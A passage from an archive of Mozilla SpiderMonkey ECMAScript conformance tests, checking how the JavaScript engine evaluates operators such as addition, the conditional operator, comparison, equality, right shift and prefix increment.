Object(true); var EXP_2 = new Object('string'); EXP_1 + EXP_2", "truestring", eval("var EXP_1 = new Object(true); var EXP_2 = new Object('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2", "stringfalse", eval("var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2", "truestring", eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2", "[object Object][object Object]", eval("var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2") ); // tests for number primitive, number object, Object object, a "MyObject" whose value is // a number primitive and a number object. new TestCase( SECTION, "var EXP_1 = 100; var EXP_2 = 'string'; EXP_1 + EXP_2", "100string", eval("var EXP_1 = 100; var EXP_2 = 'string'; EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new String('string'); var EXP_2 = new Number(-1); EXP_1 + EXP_2", "string-1", eval("var EXP_1 = new String('string'); var EXP_2 = new Number(-1); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(100); var EXP_2 = new Object('string'); EXP_1 + EXP_2", "100string", eval("var EXP_1 = new Object(100); var EXP_2 = new Object('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2", "string-1", eval("var EXP_1 = new Object(new String('string')); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2", "100string", eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2", "[object Object][object Object]", eval("var EXP_1 = new MyObject(new String('string')); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2") ); test(); function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.12-1.js0000664000175000017500000000431012106270663021531 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.12.js ECMA Section: 11.12 Conditional Operator Description: Logi calORExpression ? AssignmentExpression : AssignmentExpression Semantics The production ConditionalExpression : LogicalORExpression ? AssignmentExpression : AssignmentExpression is evaluated as follows: 1. Evaluate LogicalORExpression. 2. Call GetValue(Result(1)). 3. Call ToBoolean(Result(2)). 4. If Result(3) is false, go to step 8. 5. Evaluate the first AssignmentExpression. 6. Call GetValue(Result(5)). 7. Return Result(6). 8. Evaluate the second AssignmentExpression. 9. Call GetValue(Result(8)). 10. Return Result(9). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.12"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Conditional operator( ? : )"); new TestCase( SECTION, "true ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "false ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED")); new TestCase( SECTION, "1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "0 ? 'FAILED' : 'PASSED'", "PASSED", (false?"FAILED":"PASSED")); new TestCase( SECTION, "-1 ? 'PASSED' : 'FAILED'", "PASSED", (true?"PASSED":"FAILED")); new TestCase( SECTION, "NaN ? 'FAILED' : 'PASSED'", "PASSED", (Number.NaN?"FAILED":"PASSED")); new TestCase( SECTION, "var VAR = true ? , : 'FAILED'", "PASSED", (VAR = true ? "PASSED" : "FAILED") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.6.1-1.js0000664000175000017500000001156312106270663021623 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-1.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does not cover cases where the Additive or Mulplicative expression ToPrimitive is string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is // a boolean primitive and a boolean object. new TestCase( SECTION, "var EXP_1 = true; var EXP_2 = false; EXP_1 + EXP_2", 1, eval("var EXP_1 = true; var EXP_2 = false; EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 + EXP_2", 1, eval("var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 + EXP_2", 1, eval("var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2", 1, eval("var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 + EXP_2", 1, eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2", "[object Object][object Object]", eval("var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 + EXP_2") ); // tests for number primitive, number object, Object object, a "MyObject" whose value is // a number primitive and a number object. new TestCase( SECTION, "var EXP_1 = 100; var EXP_2 = -1; EXP_1 + EXP_2", 99, eval("var EXP_1 = 100; var EXP_2 = -1; EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Number(100); var EXP_2 = new Number(-1); EXP_1 + EXP_2", 99, eval("var EXP_1 = new Number(100); var EXP_2 = new Number(-1); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(100); var EXP_2 = new Object(-1); EXP_1 + EXP_2", 99, eval("var EXP_1 = new Object(100); var EXP_2 = new Object(-1); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2", 99, eval("var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(-1)); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(-1); EXP_1 + EXP_2", 99, eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(-1); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2", "[object Object][object Object]", eval("var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(-1)); EXP_1 + EXP_2") ); test(); function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.8.2.js0000664000175000017500000001237312106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.8.2.js ECMA Section: 11.8.2 The greater-than operator ( > ) Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.8.2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The greater-than operator ( > )"); new TestCase( SECTION, "true > false", true, true > false ); new TestCase( SECTION, "false > true", false, false > true ); new TestCase( SECTION, "false > false", false, false > false ); new TestCase( SECTION, "true > true", false, true > true ); new TestCase( SECTION, "new Boolean(true) > new Boolean(true)", false, new Boolean(true) > new Boolean(true) ); new TestCase( SECTION, "new Boolean(true) > new Boolean(false)", true, new Boolean(true) > new Boolean(false) ); new TestCase( SECTION, "new Boolean(false) > new Boolean(true)", false, new Boolean(false) > new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) > new Boolean(false)", false, new Boolean(false) > new Boolean(false) ); new TestCase( SECTION, "new MyObject(Infinity) > new MyObject(Infinity)", false, new MyObject( Number.POSITIVE_INFINITY ) > new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) > new MyObject(Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) > new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) > new MyObject(-Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) > new MyObject( Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "new MyValueObject(false) > new MyValueObject(true)", false, new MyValueObject(false) > new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(true) > new MyValueObject(true)", false, new MyValueObject(true) > new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(false) > new MyValueObject(false)", false, new MyValueObject(false) > new MyValueObject(false) ); new TestCase( SECTION, "new MyStringObject(false) > new MyStringObject(true)", false, new MyStringObject(false) > new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(true) > new MyStringObject(true)", false, new MyStringObject(true) > new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(false) > new MyStringObject(false)", false, new MyStringObject(false) > new MyStringObject(false) ); new TestCase( SECTION, "Number.NaN > Number.NaN", false, Number.NaN > Number.NaN ); new TestCase( SECTION, "0 > Number.NaN", false, 0 > Number.NaN ); new TestCase( SECTION, "Number.NaN > 0", false, Number.NaN > 0 ); new TestCase( SECTION, "0 > -0", false, 0 > -0 ); new TestCase( SECTION, "-0 > 0", false, -0 > 0 ); new TestCase( SECTION, "Infinity > 0", true, Number.POSITIVE_INFINITY > 0 ); new TestCase( SECTION, "Infinity > Number.MAX_VALUE", true, Number.POSITIVE_INFINITY > Number.MAX_VALUE ); new TestCase( SECTION, "Infinity > Infinity", false, Number.POSITIVE_INFINITY > Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 > Infinity", false, 0 > Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE > Infinity", false, Number.MAX_VALUE > Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 > -Infinity", true, 0 > Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE > -Infinity", true, Number.MAX_VALUE > Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity > -Infinity", false, Number.NEGATIVE_INFINITY > Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity > 0", false, Number.NEGATIVE_INFINITY > 0 ); new TestCase( SECTION, "-Infinity > -Number.MAX_VALUE", false, Number.NEGATIVE_INFINITY > -Number.MAX_VALUE ); new TestCase( SECTION, "-Infinity > Number.MIN_VALUE", false, Number.NEGATIVE_INFINITY > Number.MIN_VALUE ); new TestCase( SECTION, "'string' > 'string'", false, 'string' > 'string' ); new TestCase( SECTION, "'astring' > 'string'", false, 'astring' > 'string' ); new TestCase( SECTION, "'strings' > 'stringy'", false, 'strings' > 'stringy' ); new TestCase( SECTION, "'strings' > 'stringier'", true, 'strings' > 'stringier' ); new TestCase( SECTION, "'string' > 'astring'", true, 'string' > 'astring' ); new TestCase( SECTION, "'string' > 'strings'", false, 'string' > 'strings' ); test(); function MyObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); this.toString = new Function( "return this.value +''" ); } function MyValueObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); } function MyStringObject(value) { this.value = value; this.toString = new Function( "return this.value +''" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.7.2.js0000664000175000017500000001114212106270663021460 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.7.2.js ECMA Section: 11.7.2 The signed right shift operator ( >> ) Description: Performs a sign-filling bitwise right shift operation on the left argument by the amount specified by the right argument. The production ShiftExpression : ShiftExpression >> AdditiveExpression is evaluated as follows: 1. Evaluate ShiftExpression. 2. Call GetValue(Result(1)). 3. Evaluate AdditiveExpression. 4. Call GetValue(Result(3)). 5. Call ToInt32(Result(2)). 6. Call ToUint32(Result(4)). 7. Mask out all but the least significant 5 bits of Result(6), that is, compute Result(6) & 0x1F. 8. Perform sign-extending right shift of Result(5) by Result(7) bits. The most significant bit is propagated. The result is a signed 32 bit integer. 9. Return Result(8). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.7.2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The signed right shift operator ( >> )"); var power = 0; var addexp = 0; for ( power = 0; power <= 32; power++ ) { shiftexp = Math.pow( 2, power ); for ( addexp = 0; addexp <= 32; addexp++ ) { new TestCase( SECTION, shiftexp + " >> " + addexp, SignedRightShift( shiftexp, addexp ), shiftexp >> addexp ); } } for ( power = 0; power <= 32; power++ ) { shiftexp = -Math.pow( 2, power ); for ( addexp = 0; addexp <= 32; addexp++ ) { new TestCase( SECTION, shiftexp + " >> " + addexp, SignedRightShift( shiftexp, addexp ), shiftexp >> addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function SignedRightShift( s, a ) { s = ToInt32( s ); a = ToUint32( a ); a = Mask( a, 5 ); return ( SignedRShift( s, a ) ); } function SignedRShift( s, a ) { s = ToInt32BitString( s ); var firstbit = s.substring(0,1); s = s.substring( 1, s.length ); for ( var z = 0; z < a; z++ ) { s = firstbit + s; } s = s.substring( 0, s.length - a); s = firstbit +s; return ToInt32(ToInt32Decimal(s)); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.9.2.js0000664000175000017500000001460012106270663021464 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.9.2.js ECMA Section: 11.9.2 The equals operator ( == ) Description: The production EqualityExpression: EqualityExpression == RelationalExpression is evaluated as follows: 1. Evaluate EqualityExpression. 2. Call GetValue(Result(1)). 3. Evaluate RelationalExpression. 4. Call GetValue(Result(3)). 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3) 6. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.9.2"; var VERSION = "ECMA_1"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " The equals operator ( == )"); // type x and type y are the same. if type x is undefined or null, return true new TestCase( SECTION, "void 0 == void 0", false, void 0 != void 0 ); new TestCase( SECTION, "null == null", false, null != null ); // if x is NaN, return false. if y is NaN, return false. new TestCase( SECTION, "NaN != NaN", true, Number.NaN != Number.NaN ); new TestCase( SECTION, "NaN != 0", true, Number.NaN != 0 ); new TestCase( SECTION, "0 != NaN", true, 0 != Number.NaN ); new TestCase( SECTION, "NaN != Infinity", true, Number.NaN != Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Infinity != NaN", true, Number.POSITIVE_INFINITY != Number.NaN ); // if x is the same number value as y, return true. new TestCase( SECTION, "Number.MAX_VALUE != Number.MAX_VALUE", false, Number.MAX_VALUE != Number.MAX_VALUE ); new TestCase( SECTION, "Number.MIN_VALUE != Number.MIN_VALUE", false, Number.MIN_VALUE != Number.MIN_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY != Number.POSITIVE_INFINITY", false, Number.POSITIVE_INFINITY != Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY != Number.NEGATIVE_INFINITY", false, Number.NEGATIVE_INFINITY != Number.NEGATIVE_INFINITY ); // if xis 0 and y is -0, return true. if x is -0 and y is 0, return true. new TestCase( SECTION, "0 != 0", false, 0 != 0 ); new TestCase( SECTION, "0 != -0", false, 0 != -0 ); new TestCase( SECTION, "-0 != 0", false, -0 != 0 ); new TestCase( SECTION, "-0 != -0", false, -0 != -0 ); // return false. new TestCase( SECTION, "0.9 != 1", true, 0.9 != 1 ); new TestCase( SECTION, "0.999999 != 1", true, 0.999999 != 1 ); new TestCase( SECTION, "0.9999999999 != 1", true, 0.9999999999 != 1 ); new TestCase( SECTION, "0.9999999999999 != 1", true, 0.9999999999999 != 1 ); // type x and type y are the same type, but not numbers. // x and y are strings. return true if x and y are exactly the same sequence of characters. // otherwise, return false. new TestCase( SECTION, "'hello' != 'hello'", false, "hello" != "hello" ); // x and y are booleans. return true if both are true or both are false. new TestCase( SECTION, "true != true", false, true != true ); new TestCase( SECTION, "false != false", false, false != false ); new TestCase( SECTION, "true != false", true, true != false ); new TestCase( SECTION, "false != true", true, false != true ); // return true if x and y refer to the same object. otherwise return false. new TestCase( SECTION, "new MyObject(true) != new MyObject(true)", true, new MyObject(true) != new MyObject(true) ); new TestCase( SECTION, "new Boolean(true) != new Boolean(true)", true, new Boolean(true) != new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) != new Boolean(false)", true, new Boolean(false) != new Boolean(false) ); new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z != y", false, eval("x = new MyObject(true); y = x; z = x; z != y") ); new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z != y", false, eval("x = new MyObject(false); y = x; z = x; z != y") ); new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z != y", false, eval("x = new Boolean(true); y = x; z = x; z != y") ); new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z != y", false, eval("x = new Boolean(false); y = x; z = x; z != y") ); new TestCase( SECTION, "new Boolean(true) != new Boolean(true)", true, new Boolean(true) != new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) != new Boolean(false)", true, new Boolean(false) != new Boolean(false) ); // if x is null and y is undefined, return true. if x is undefined and y is null return true. new TestCase( SECTION, "null != void 0", false, null != void 0 ); new TestCase( SECTION, "void 0 != null", false, void 0 != null ); // if type(x) is Number and type(y) is string, return the result of the comparison x != ToNumber(y). new TestCase( SECTION, "1 != '1'", false, 1 != '1' ); new TestCase( SECTION, "255 != '0xff'", false, 255 != '0xff' ); new TestCase( SECTION, "0 != '\r'", false, 0 != "\r" ); new TestCase( SECTION, "1e19 != '1e19'", false, 1e19 != "1e19" ); new TestCase( SECTION, "new Boolean(true) != true", false, true != new Boolean(true) ); new TestCase( SECTION, "new MyObject(true) != true", false, true != new MyObject(true) ); new TestCase( SECTION, "new Boolean(false) != false", false, new Boolean(false) != false ); new TestCase( SECTION, "new MyObject(false) != false", false, new MyObject(false) != false ); new TestCase( SECTION, "true != new Boolean(true)", false, true != new Boolean(true) ); new TestCase( SECTION, "true != new MyObject(true)", false, true != new MyObject(true) ); new TestCase( SECTION, "false != new Boolean(false)", false, false != new Boolean(false) ); new TestCase( SECTION, "false != new MyObject(false)", false, false != new MyObject(false) ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-7-n.js0000664000175000017500000000432612106270663022060 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-6-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-6-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var STRING = new String("hi"); DESCRIPTION = "var STRING = new String('hi'); var s = new STRING()"; EXPECTED = "error"; new TestCase( SECTION, "var STRING = new String('hi'); var s = new STRING()", "error", eval("s = new STRING()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.4.js0000664000175000017500000001747612106270663021477 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.4.js ECMA Section: 11.4.4 Prefix increment operator Description: The production UnaryExpression : ++ UnaryExpression is evaluated as follows: 1. Evaluate UnaryExpression. 2. Call GetValue(Result(1)). 3. Call ToNumber(Result(2)). 4. Add the value 1 to Result(3), using the same rules as for the + operator (section 11.6.3). 5. Call PutValue(Result(1), Result(4)). 6. Return Result(4). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.4.4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Prefix increment operator"); // special case: var is not defined new TestCase( SECTION, "var MYVAR; ++MYVAR", NaN, eval("var MYVAR; ++MYVAR") ); new TestCase( SECTION, "var MYVAR= void 0; ++MYVAR", NaN, eval("var MYVAR=void 0; ++MYVAR") ); new TestCase( SECTION, "var MYVAR=null; ++MYVAR", 1, eval("var MYVAR=null; ++MYVAR") ); new TestCase( SECTION, "var MYVAR=true; ++MYVAR", 2, eval("var MYVAR=true; ++MYVAR") ); new TestCase( SECTION, "var MYVAR=false; ++MYVAR", 1, eval("var MYVAR=false; ++MYVAR") ); // special numbers // verify return value new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;++MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;++MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;++MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;++MYVAR;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;++MYVAR;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;++MYVAR;MYVAR") ); // number primitives new TestCase( SECTION, "var MYVAR=0;++MYVAR", 1, eval("var MYVAR=0;++MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;++MYVAR", 1.2345, eval("var MYVAR=0.2345;++MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;++MYVAR", 0.7655, eval("var MYVAR=-0.2345;++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;++MYVAR;MYVAR", 1.2345, eval("var MYVAR=0.2345;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;++MYVAR;MYVAR", 0.7655, eval("var MYVAR=-0.2345;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") ); // boolean values // verify return value new TestCase( SECTION, "var MYVAR=true;++MYVAR", 2, eval("var MYVAR=true;++MYVAR") ); new TestCase( SECTION, "var MYVAR=false;++MYVAR", 1, eval("var MYVAR=false;++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=true;++MYVAR;MYVAR", 2, eval("var MYVAR=true;++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=false;++MYVAR;MYVAR", 1, eval("var MYVAR=false;++MYVAR;MYVAR") ); // boolean objects // verify return value new TestCase( SECTION, "var MYVAR=new Boolean(true);++MYVAR", 2, eval("var MYVAR=true;++MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);++MYVAR", 1, eval("var 